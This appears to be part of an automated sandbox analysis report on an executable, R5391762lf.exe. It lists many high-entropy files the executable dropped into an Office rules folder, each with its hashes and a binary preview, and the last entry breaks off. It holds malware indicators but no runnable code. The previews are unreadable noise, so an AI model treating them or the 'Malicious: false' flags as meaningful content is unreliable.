Preview:	.<?....l.......1...Z."I&....~..<..X.%.2......V.......U.N.ET.>.0.......(..2.....o._T..{....3`B..\.....Z..4...W.!$...K.0.#..G..S...\*..."..1...L.....!.i<.$..1..g..j"P=.I..%..E..9iIDZ.M_..o.....[...R\|.FbG.....M..W.x...Ru...N.Hz..QsW..?.Rj..-x`.....K7^..p......C'.[..GT.y....X:...v.F..e....G.5'".:tV'...4bdH.3...........M>...9t".....W..4....Hi.+....T........z8.sV.k..\|i.!J..-A.x.G>..+..'.`l._\|..naqRd..I!z......F.X..F.=...6.......l..m.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.919313525173958
Encrypted:	false
SSDEEP:	48:JLM2+jDeX8nFKaPdBPbllV+jp/umloKAvQnq83l5DLK77FkRzsDdURAGyRxT38lx:qJnq8F1jjllUNXl53K7OyDdU63eH3vIC
MD5:	22B4FECF1CC08F6A8CBF795C82B44699
SHA1:	94A539054FD4874FE268EF3ADFAB7A6AE970B665
SHA-256:	A18F473D713ACAB7EBF1483625F1CF9D9B5DD2FBF33F3451FB3851141E015C72
SHA-512:	6C25451BF4EFCB82EB08BAED4F15D9E213EEB6994A78A30D2D540535C87B80CBE8CA9710E1C39AB72F27005813CE9D66466A573C44DA71385E1E168C701BC7C5
Malicious:	false
Preview:	.<?...B.;-..Z..0.........}sC..j......f..`.....\...1....e.Z...?...t\...(n..5O.1.<~...>...m..B...........H.xh...LZWI.)B]).."...+.B...q.,....$......0..OL.a8.n..yK..dg.....g...5J......Xp....%.."U%.....$..0....P..O.".......I....Z....;..F...%h@$P.K...K...&T.....]L&P...Z @........$\|X'......K...e...]...\|.`.#.@T....Q.=pS..,.$......J0..Gm.f..Oo.D8+....x...........d.2.@...Ew..h..u....D..aIO..1.5..f..(...F./...Kz.....D.9..'.. <x.G....#.Q....^....^S.M.$.`..c...WN<.../..PY....vU..-.}_.ri.?5.Z.{:.[^8......}>.>G...E.f..R.Ftx...^.!@.-.y.=.........Sf...+6/..X@ZD..h.l.LH.....jk..yB........:.i~.{slL.@....O.+..&h.X......<Pc^..h..^vI.W..;..7%..@..4+......>s.wF)..:s.....'.A.#.Bd].%t....j..3...&.g..............T.S.5">gE.y<.......682...d.`>...I....E.t....H.5..8X);aH.5..4.(.-.z..E...o...O...^.p.]......)...0.p..........`.3.Oh..x.T./u.I.Az.l....A..@ySD.zl.e.x.......8l...m..v6...cU..w....g3.i#?....r..GMb...Xk.#.EyeC1..`....P...E6..)......O...27O..x..v.9.v....+T.~4A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.6811888862143345
Encrypted:	false
SSDEEP:	12:t9vbY2lyzzCYzNRe4RDCTsZe9AewQDWG48ZnSpFEI/OY6uJqFckFafzOLswXqOTX:Lv86yzeYhHswAA5QKgZSpFEuOuJSafE5
MD5:	74FBCF6D6EBF199B72038B5CB3B19D62
SHA1:	A9B0AD0822291FB44B64413D8E3ED2DB6ACC7EB6
SHA-256:	41F663931571C155D40A92F4FD893EB50444FAB2A7B05D5BD037996FD423E1C7
SHA-512:	91893DB91D78262BDBBAF46F3DF1E3708626FCBA33ABF9DA125C123CAAA536935D2AA5E0B815A1064DE26533A5F781E7DD78DAC08804BBB391AED6F2BEFF5468
Malicious:	false
Preview:	.<?.T..~.I!.AZ}x.W..t.,...vT6.....n.B._...gAa]a..f...4H.h.6.. . xz..D.!.....5....cK...Y.id..B..X..G.E.....[#!{...S..P....`..UH.?K.+........nk.F...y.....f@..9B.../.....,...MJ..0...{.;.<..3.z...6....5x.....q....}.........\|El..........Ih..[...Te..,.B...=M.n...7..j.q`_'...H.Pj...1(..mp.-!wJ.-<...awe....o......5..$.i..s....`!..j...o[Wl..n....?.i..!..?.s4...+..\|-... ..[.........BX......g.Ns5.R.....~......._;.wF.m...h=X......L....~...O...:E...)...Q..6q.2.2....hg.....6#.rh..M.....E.-....ys.....?_.......'^..]UK.....u.`.+l..w..i....!./j.....>._.3Pa....~.;.C......0k........X.U....D:.*..h.....tSI..%.qc...R...^.,^...d..'.1d..\+x.E..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.712675124258811
Encrypted:	false
SSDEEP:	24:ISpdDTXEai1bCkHCofNVBzx6rtX5qAQ1dXq8uWbD:xNiQYJVzx6ZJ+jXFuED
MD5:	2BB16170D8B459664A67DDDDB856379D
SHA1:	8D289FA9AD7C58274CA737F97A6D8849643DE796
SHA-256:	66CFFCA9FF42CCFE48D55281618A9003C8A980BA59C250E7830FCA7A60314E25
SHA-512:	D19E200F71057F63312433950029FB0293587B38D12E4038945B7D9094C11CCDCF158E41F786856F723F11FBCB63B6332D29132D49A021CAAD1D881CC3C587A7
Malicious:	false
Preview:	.<?}t...==......sB.8.\|....^.(......>......]x.H0tQ.M(..I.T.-...' .......2X.......q=.b......Wa..l. ..~..u...+....R.K)}........E...(."..p..........nF.....^.......tCv....c.....e$.....wS..M<.g>h.H.XB. .....5...VAA%..,.'....hU(X..'<.UPz.G. ...$...T4[OT{..6.Zv..#..\|i...'~.{..../...G...;.r......WP..E/.Q.......6l.p.[....o.\|}....%.(.B..Z.A."5.O.s_...]C.:.5.H...Gk..7..y..U7p...{4<.(:....\|6...}...F1....p.C...z8..,...X.K/Q.....?.v..E.....a...\|.o..}..'3.q..q..4".'..0......g.\|*.WP_...a...<...Y..j...M.S.~.G...^...../...Z.t..9....T....".6....0Zp.!..z.S..S...$.9!d.....)....E.F.pI.8%..LD/..n.[.]yTh8..Y.<.....b.U..2!S..p1.Y.....8o .>.?..vb..wD...CI.h...=..(?.u...l..k{..\|.0Q<.E.\..d$ua .(J....\QF.j$..,.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.684254134915293
Encrypted:	false
SSDEEP:	12:8D1ZPw3TkUV1qWbIGZNtU7RLEkxQoqBIOg3csmVs14jLwqrWWICXUdnFiQ0kDXq+:AZPVUV1LbIGy7F7x+uVJqs1uWWICOFHd
MD5:	E93341EBD1910A245274778DD7AB6AE3
SHA1:	1F68A720481F649BC5A8B670BD6D36F89B5F84FE
SHA-256:	60FEA6503629C5BD4C12C403F0B4D44DE18F351E3C24871D110DF997695741A8
SHA-512:	2B50F9A3E196D46166168E026562213F553D544D083EDE9DC12FCEEFB2187CFE318DCFE3176806F5534625B91E71C29DFA374A313607A09D946829C648A7C25D
Malicious:	false
Preview:	.<?E2c..=....V.. ^..oD!@.....#...J.U.gQ\.m.Y.F.N.;...nV.....B....h..6E.K\..V...N..o..6gS........~60..P3.x`.$.).1..\q...z..[tU..J...X..!..3ht....:.\.nD....24#pN.:.Br....v..m..E....#.ax.R.&^:..r._.WJp5...3.N.......G!...t:..;......\Y..Z..Jo..._.q.....Y......i.c.......A6M#. .x...&..J.....4;....Y.DS..m.aC...4%'..zM.N.E... %J...z..Mr!..,..8.3L..:6..._..\|...e.....=.Eb..WE.M%K.C.A...........:....0)...(.T..7.hl..j.......3.%.......cB$.z.j~?4,....#.T}..S.{...9.0..^.B.N.s.8O...v_.,../.cn..m...G,.V/.........."....k..&...."{X.d.Q..W.A......\|.YoL.p.Za..Z&.KzO.G.....H..0.....)...*.....k."....=...r..(.a..p..).Ui.?i.q...k..Y 6.o...0...7\|..X.lG)doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.781709060037513
Encrypted:	false
SSDEEP:	24:qaEoJSjMv3K4sFk7ogxp8WPjnNwg9Vpw8gzwYXq8uWbD:7Em13b8WPBXnpw7zXXFuED
MD5:	7BA33E14049FEADDAFF9552879253C2E
SHA1:	C914B0D47F26D50D1859DD58A27090C7DE754121
SHA-256:	A72E75B7A05C58ECC5F81DDE490228CFEBB3388A7576501D69CF4DB1AFCC16DD
SHA-512:	5E528934761A8426793F06D3218666E6BAE34386EC196CDCD6036854E50D7BDD8EDCB13501F135E182BE674508A51C0C3B841B9AC5797481CD2C0FC18B3652C9
Malicious:	false
Preview:	.<?Z....".x....S!LT...E!.E............T...C..}j%...!A7._..DV.=s.+.f..........d.4T.......X..4.Dp../..U.....y..d......1...z'l.{.......m..~..?..uh@.t......G..]A....#.......A.....g#.K...b{.1[....o.....[.K....as.f.8g....E..j.}...Z..&K..3.{..f..nIt."SI\.B.....B................".N........u. .8._l.......o+......s...s.&Q .........g.O.......)...a..k,..)q.g...v.z..._.Oj.....\.R..M.N.r..+=5Z.A.....2u...\|...O....../....(\...-y.pl...Y..@...1.....>........Fvn@<F~x...XO.......^=1..S.3Br%.......Q.s>..W.F.'.!./."...y..!^\|.%..M....@...c......0:'.e....#.*r.vJ...+...K....,..V....v..6......U...B`83.&.5..h6...T.G.I.gqIK..1~.3..m.+........t=......_]....QkF......c...3\F..........;.}..`..-...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.793369756023281
Encrypted:	false
SSDEEP:	24:8VfmrhXz8Qn2zpbzD6KMhsaN3EQN8PHPygOKzXq8uWbD:EfmrhX7nmSKWLREQgHPygOuXFuED
MD5:	4A315788EBEDB047D7D31FD4293A7C09
SHA1:	154481E2AF2A75734A5FB1DEB76C2619809AE65F
SHA-256:	ABB36B438F0822A95FD8A2B5D79988AEC555375BAC1943A90350A05C4B40CD7D
SHA-512:	9473D49B4F3B519368489E489CDB8B850D2C187A9031D4929B13B7EFD66C29C023BACA3FE35467CABA1B3B61088FEA4D58F4DFFF5D4D4EEBE7441FA45640425D
Malicious:	false
Preview:	.<?/?~t.......6.;h.U..(......3.f..z...{..W...m......r.....Yn..2.....F2?..z........m..._p.+./..(Df......Ms.......:0.,.6{.n.......'<(_h....[X4 h.t.l7.}=>...).Jr.c.....Fb...b.[.<...).?\..;.\.Z.^/.+.Dcw7.`&........ck.G`M.....Q..EV....9..e..<.I=]"t/e.k..c.5w%..5..Chx.%.1..S).).U..z... N...Q,z.&...~!mh;.n.....j.Y.....YW./k...X..z..9..F....B..@.......{$N>n.Q..7Xa..J......_...:..Q[...8.....N^.^~.d..J.N..{.W..W.Hi'.vJhJ..MD.....uN..s(.y?......cZ.zl...:.$jRdtj...yUOvnW.)...r...Lo.;@..).B.....}&...6.j..Y..%....mS.B..,[.jJ...X+z....e-<.F....S....B.<../...sn......+.........(......ry.....N.N....[Z....i.w.]..Z.....p.6...D..7..3W..GF.M.9....R...3C....2...,m..O@l...x.;.=".....2y...a....6y...T4...[......... .....B!.Dc./.....<....._=kyowh..TmpJ....m#.;...\f........C.\....c.k.l.......G.b......v..d`.......P...jq1...9.....`...+.X..audoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732470637011042
Encrypted:	false
SSDEEP:	24:Xa+avE9Gt0iWNiMK1/3Ojqx4/80rfXq8uWbD:n80bNivOj0G80rfXFuED
MD5:	2B3D739C17D1115EA539CD68AF73103E
SHA1:	9DB283A5EEE44611A93F3AB4B57693FD20A3E3F1
SHA-256:	906AD087799C1F54B1EA86EB0FC0510938D0A5ED1380BFCA461253055CFA3358
SHA-512:	A1DD698008A026C900F2AF1C9F28AD99E3F761953CC6B9CB19B8CAD10203D55D687911CFAA0A080C5CC665238089667C4DA0345DE5EA296D1104DFF5262D5937
Malicious:	false
Preview:	.<?..\|..MG...G...U-........._.V..S...9..X.W.R...W.N.t!z.@....N2U.tP.fu......m.K#.:A.u\|."8.H<....9].d...4...Q...O...v"./...`.....){.....RN}j....g.2..?.,.1F:.'V.[........../..w.lP8..-.\.I........`.......a.F....m.7Ir.&y4..IG..%..... .....G..I.{M....s.%.Z..........y.-.k.S(a.....99...O@....y..r..2oM6~_.9..\H.....$.....V... d.5`...}G;..\|Qk....F...aU.Sq.Nk`vk...:3......b{4?..+.M..`..!.....+&..w........ .>(.NJ.F.....h.Ji.CW_...$.........x.....q7.h=A.e...\|......kp.....LP!.8.}..V......i.(.....Y.(.Z.(.E.._...}.\|....4..A..4.\|..s..:.P../......CG.ui....\|..:..4...P.g..j....#0....;....?.a..Q.....m2.4..3..."?...\..................L..).[....w.......P....'..y.(*][...._$u...l@.J<.M.#.<.H.Tdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.685740887910084
Encrypted:	false
SSDEEP:	12:LBvlY48urI7ISZcDP2TgomrNLMoMznmnTgE48/BkN+nPzJXjubvprvX/L3W3Z6A5:1vneZcDP2TgoM+orr48/K+PtXjubhrvI
MD5:	B99CCAFB5641630DA56AA2FCFE3F5CBE
SHA1:	BE5FE667E7EE823502868973B4ED005F755E0054
SHA-256:	5F49CA2FFD108E91F4114CEA604E6040AB0FCEC9ED5694E1B76FE20A7A012A16
SHA-512:	319A2F5161E5651DE164BA48EEEDE1D9F5175E74E75714E6B3E8311B77F601B1E428A162D71C83636EB5796244B5C95C9DCCD0BBFF226EA2717415240B4E35D4
Malicious:	false
Preview:	.<?....X....Z.....CRv&>..z...,og...z....r.\|*..I/..:..cF.>...!.'H...7)]U.<.>..e.)0...9....t$iZ@.%.w...<iw.Kz.k]..L.....Lk.7%...ji...]......-.\|.'Y.o.M.....w....&jJN.J.2W..c.H...W.VP$=..F...z.......s....F..t.....Y.6Z.B.....C.=9...k.R.(..X.^.p......+%.z.t.....p..x..on.$1h...c.e.......KfZTj.^.... .P.~r...S:..M.:.i. . G.w..`tK?..z{..:Y...s.t;B..HV..[...G!<....@\|.i.H.. ...x%... .......\8DG.Y........17..M..."J..H...}......z{.......D....ut/..\5.Q\|[....Y..-JIZ{..s..PHyG:....{....H...].}7.d...\.0...-r.P.A.ju.-...Rjy#.w.>..^.@]...&.1.a.z.a....x.......qA4..OO...E..Dd.......Q...-...`.&.....]..t11X......7..!}.../S$.dN/3.rrN.J.B.>4..R.N...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.711016656391068
Encrypted:	false
SSDEEP:	24:ms4j7P7P8Cl69+s1aUAK0XOh4doFpFgnZHDXq8uWbD:Uj7r8unEaQIoJg9DXFuED
MD5:	03CB61A99A5229D2AB0487AA2C6EFC04
SHA1:	D15743700ED3345C3928F65F3A3879C8625BB942
SHA-256:	C447FFA1228B7740C9FE8BDA77B99FD0AE967FC4DADB1E8603B31006261E3FAF
SHA-512:	234A532D61346F7B9B17AB0C31EA57728077C60B79DD01CB6F315C690F0F1913729487997253FECE02612AA0A103978CD7C7C32BDE49C864AA5B135CB7950FCB
Malicious:	false
Preview:	.<?..i[.ye.$.\|Lz..=..Q..]u&..../. .'.(.....V....hr...o..\|v."..z.E...4...P..t..u.&.6.xk[.4............XW...Q.....>4...."......".....m....=...U.K.sH.....g..U.4.......... t\|........-.=..>..M....G.x..w....o........"..rye...o.IV.y..%.H,.......G...D-.y...M<K.${.3g.?..O"..tn{$..vg..A!..\$.^%"{8.^z^..wY...?.h.*.wb..q.#M7_.-..L....p......y.\.v._.x..H.G..:...X.=x..$.Y..YIC3+c...m....;..$...h... ....;\.u..N...0k..Z.....7C.....h..\|...u..T..d....9....S...@~6....8UP........\..z.68.d6...I::W.x....2..5.J..e.O.A....g)K.....\.0....aje..GU..o..K.Z.5.wwJ.....+]w@..E.....'......:..9...v.......>."G.&y.m>.2.\....%.[.%..........\|.`?..b.e.A.4A..b.....?..1v..H.....X.F^.W.Aa........I.>..t......e. T%.w......,[lCwC.".7.d..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.677294423973452
Encrypted:	false
SSDEEP:	12:+pfwYeRdOIb/6t02xybmUFkfSB8nLqbFGVP1aW4vgp1efeaMs55gqXqOTuWcii9a:+pY/RdnF2xyiUFkKiLqoaW4u1UJl/Xq+
MD5:	92623536F3CFF7BB5EF4E2FFAC800520
SHA1:	EDE0D69D352A00385740249C2238DB7C3DC27621
SHA-256:	3B053B36B00F1B598E9D44C1F5CDC6AB4D4B510916A8A48CA7DA1D206B94C655
SHA-512:	C83C025C34FAA115896792E145BF4C4174FD7F133A7F54E59FC050A40575489959BDF3EFC8B40424E23B9CE5072A36364D788C3A025C34AB29451406F72B94FA
Malicious:	false
Preview:	.<?...r.'._.0.Y..h...t.!..zU......ZQ/T&Z{...s......0w....W..r....6-NCEw.F2]....U2.pKr.........n.Kcu..'..za....8....W...UR<cQq..1r."O.......4.R..j.c.i...>.....k.x.q.3..Q........!k...\m.q.g..o..'..U(D.!y.?....G9J.oL.r5rK.-...}.....<t<.er..&..g....r......C.v*.D!.I.k.....+....'......x...]G.h.N~.`n..%.4.x.H.....Ufvi.!..9.!D.....=R..bf..9.+.B...c...)....a(G.NI.\|..fn.hg.?l..".\..N..jV....."I..,..y.....~...X!E\ ....3..V.n.j.q.}..M..2a...GY!...Rh...4..3.......C.w..-..9.....e0.m..........L^.iG...9/....]..B.w..w..O..br.}.0~..J..._.J..CC[,t@..sBq.o8..F..]..l...v.H.&R)"&.8KG..4.j`.1.M...@.k.I...t.......Gcn7.=,.........d...O.kH...M...8M..<w(...Y.5s5...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.682210231576504
Encrypted:	false
SSDEEP:	24:mpWLxv3CfinOXUthf4Z2dxkVW/KXq8uWbD:mc1v3hOXULqexkFXFuED
MD5:	CB6C64CD81B14617727F854C83AD1F9F
SHA1:	1BFE66822AAD11BE2FE607F085007C4F078FC36F
SHA-256:	02B7E0FD8D03623FD829033E0AEFD137FC297C870585314746491226F9CF7AD1
SHA-512:	DA173690C418A214AEE9C1983CEA133F07ADC181E0075984ACE18C213195E0DE0734DEC9C2946B2873AC969D2ADEA8607D089133EB10647D019A15EB51923140
Malicious:	false
Preview:	.<?.....C.U.O..o.......:P...l.KT.;x..3..$..,$$..3........U.V.....ux...s.8.....H\......-......]..0..X1..P>1z......c...Pf..q.9...h...r.h.....b....0.....o.9.$....6=...0.o.Oy>...0....G.y....l;...T.Ak....8.=.0.....#(?... P...3..w. ...3.f."....A../.....NN...f.........cHU...-......X.K=.]..ra.T.....kU.x$..X.F..;.K. .....C.Lh.p.oR...?..4......d.......0..A..k.c...R.9..[y5.+,.g..@.johm.x.+....a.L.;...v.S...FA.....>.m}Ea...Y.Sm`'..o.?.T.3...@..z9.RO.PA.F........wK.w ...z..$.p......Q..x....h.O!..<......N.4.f..m..ba.........e.J...HD.?./I..7.`........Q.e.c..16... .[.,c..o.j.U....>.9.HH?m.........:z.....fx.<....g...6....n<<G.S.}<..Lg.?...0..\......[]. .......JW-E..l..7....U$v.7....q.S.A...q..{.....{[..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.6849031676881
Encrypted:	false
SSDEEP:	12:cZ2axU11MCFe+fwYD3Cm8aUxOHSCxsppit2+2W8Xlp7B4qahRf1uk3yFvcszXqOj:etUoOe+zD3aaU7ppiE+2Hf7B0h91ukiz
MD5:	6FBC5BF9305AF35CE98DE25AD470FD46
SHA1:	6299679EB0B498AA05CC06E4E2BED98FA82A0676
SHA-256:	8EBE2002F7216E37B9F498901AF0B06EF58D9FE92197140B21920B4B7F0B7B44
SHA-512:	5DA89C09F0A140B242805CFB9B807EDDB55A5634EF648CD9336144F54B0C3FCD360C61ED8092B2025BA53DE08066871B8D43F2D1AE003166E19D03C10101C753
Malicious:	false
Preview:	.<?.7.(hf.......w.i....)U(.....@..9V.~.l.l. =...d.~..u.t\|...F.:%..B....NY.k..8...>.+........A{......1u.0C"T.M~.^..Fi`.f..\|...V...._d..=.Xj...f....p....1.{.."8...!..77n(-%..._.H[z.'..ZSoM..iB..6..n..0.".=vL...y...D.r..k..8j....3.....T!.<.A.p.)FJ$4...2...........i.!...o.\|..I.$.d.@....<`...{...........C...G-....63 .\|.u..d^j&.k/..q..yfW"...c...b..-.....{zk...b...0G{...V......-........;u..5(>."\|..FQE..J.+>.....@.Y a.+..rj..CdY.....3j\|).*.../<...H...1...jo..... H.d..PTF+..\..n.....i......x=.{.........&h..ql.e.H=.#../.Oz.wpY.[Q.F.%...7.>'E+.(.#...=..c.T....j.9<..pq.1..P.$.P./...WB...@.K...0h.].ytDe..'...0\|....9....L...Mf.jd.....9.......doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.741560421552219
Encrypted:	false
SSDEEP:	24:RUTnyk0DfhwwlXvFX15oV+FsNs6TvGnfvwMjBKXq8uWbD:RUTnykNYXtQMFss/3w2KXFuED
MD5:	2F3808C29C8CC603E91FA7F832F920A6
SHA1:	1F1025DA70DB74E1A3ADDFA2E4BFDF3DF21CC18F
SHA-256:	53779651B605E222889DB62B50ED16CF7DCBB406266810B1F5A866F21BD0864B
SHA-512:	7DC12927819CD2BDC456B874AABA6D00DE3ADBF9F237F7E59F5EE1F08022FB02AB07993E5E021A7183EFDA10BA799F1066ED9E9FF85187176566472EB914A06B
Malicious:	false
Preview:	.<?.#D...:&\|;.q........`.(.2....H.....b..,..F-X.....TnQ&f..6w..L..Uh..`..m7...[.../.R.) ..j..\|.>.'."..y.h\2t..c^..{..vX.........X.W.$.'.6S.....\K...>K._..^a..!T.....Q...ax>..7A.^./i1C@...?<.IRY..dd..u.v.({!.DG.e..Y....8c...IJc.f...E.<....J...)........~}....r..BA.....F^...i..Vi`....*....O ...7..})#}&..W....=../D_y....`i...J8o....E..\.}nY.^..#.....x...V@.6..q\|{.UQ...R..B@..b.....R.U...D'.,#...u...>.Q...t..W..........;....{''.3.....b.....B`BC.w..:.'k.}...vgtY.`Nc.....3...(\|.......gf.Ee....N+...(u....X..........rL.5_.....I..M].[h.,3....N.so.y...I...y.....D.6...w...q..X....NR.....'.w.....!t,'...a.P......M.dvf.......PL.7\/A.#6......g}....~.!.W...Z.R.....A3..$.,....e%y....%.d....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.75277658155408
Encrypted:	false
SSDEEP:	12:bi+V7UgI/A5/Z37EnY0bL60TGJwsDOZYvfIKjzS1ioYw/57GZoUtfOf2YC1wFHA5:biE7UCtL0rTGJwieY3TjzRoYpxOG1wly
MD5:	3CFF2EA53907A815D0948B7278AD3D1F
SHA1:	B42555F25CF6A33C3A3DBB92B57DB94CAB401BCE
SHA-256:	CC3266B90494373114B127BD0BD7D113A329379833425946AB011578590C9FF8
SHA-512:	A5320C3FD53EB5423C6B3337319D6DB5972E877D31BB98860D9B8742F592684CD7D161EC7B7AB671096CF110C3D4D15DD52AEFE7CCC199D1D0349D182CB3B217
Malicious:	false
Preview:	.<?j.Zf...tm.x.v..\|...u..qa.c&@..j..U.J%..Wr(..1.."....5.D).;.V.S/{3v...{2.2.EM...%,.......E3-...x[..R...7.[R"mS...\|....VyJ.'.H...q...$.(...M..VU8......a..u`.Z..../&..X.........;...n.t'r..r....;:.C..I..+.+..=m.....^..j6.r.l(.......2;.6.z.}.x<.s.vD......iG......@XO .ew...3\.D....N...`..D.V. p..A...B.$..#...=..._..:ny7.)&....{.N-.v<........=."}...<....Yw9........G...Hw\|./...S8...]ez...<...X.+..bc.'54.\M..T....N;ZC......M.W....Vb...R.s..lk.GB.P..F./W.Q.&.9 ..x}.R.1...g.8.T.J^.k..2.I...H...{2=..p.!%...@.............$.....V-\#.t..Lt.Y.......S..jCmC..&9..Cd...u........>....,.W.b.?....A....v.Q.;C..z5....]...B<.c...&.3..wy.\|h..0..4doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.702780018895238
Encrypted:	false
SSDEEP:	24:kOE1lSmTPu3a+v5s0HXFcxBYrpCQ6OMz3Xq8uWbD:kOE1lSmTPGa+v5lVmYFe3XFuED
MD5:	A62D870E3806D110BAE6A7671678B9B2
SHA1:	1317862602857076F4849747007C07C4C8ABDF72
SHA-256:	124B111C68044764B92B098BF730E2011E5B97B907555639D6A0FC7DABD2635B
SHA-512:	203E8686585DD1B89E191B436A6C9AACA0CCABB652B5F50890F8C05ED5CE15AAD0AEA71AEECBC3E47D207898F3AD821529D6C263166C34C2863566B71C9133D1
Malicious:	false
Preview:	.<?C#U...9....Q...@<....u...bId....~...8..v..-.Xk...zl..Z.......+:.............p..&.s!ko.G...E..J.f...7..{...C..u...u..r....jy.vD."...)S..}.....?rk.5..h..'..6_.$.g.>.q.}.;D,..lzc.V.n.u.6H.B.........+.3.....RqU..O....a.<q....3.L7C.-......k...r..r...Y...L..<...~.:...!...]..w.x4...........V....:.kx..D..I.hQg..<z.k..L.H-;~.;..._....P{....U..=.O..$.WQ....Y..d.[.-br7....Z...'.a.^..]..n.....LhC7..$+T.,Q..{..4/..".../f..%......T..S...n.{R\.Y.a.&E.......E.W....0.&...-.....\h.yP.o.^.t.@t..p.KMD................D.s>..Ux..zG3Yk.8.w...T....Mmu.>D.1..(..#..n..k.TE.wd..c.s.t.RIT....M@w7..X..a..4=..%...p.........^.C.....6..88...41..^.+!C.,...#..?"..4........LM.w.+A.[4k.f.c.~p.3v.s.g-.yaB..o..J.nl.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.749257325097911
Encrypted:	false
SSDEEP:	24:VbyQ4WDsBSLrQ3nfF1I0WGXGmVt2KXq8uWbD:Vbvpu3jI0WGHVMKXFuED
MD5:	145F108484B49263B2D7C6EDCAE766D8
SHA1:	BB41ABE794D9CF5CDAA712E746FD002F2FFE8995
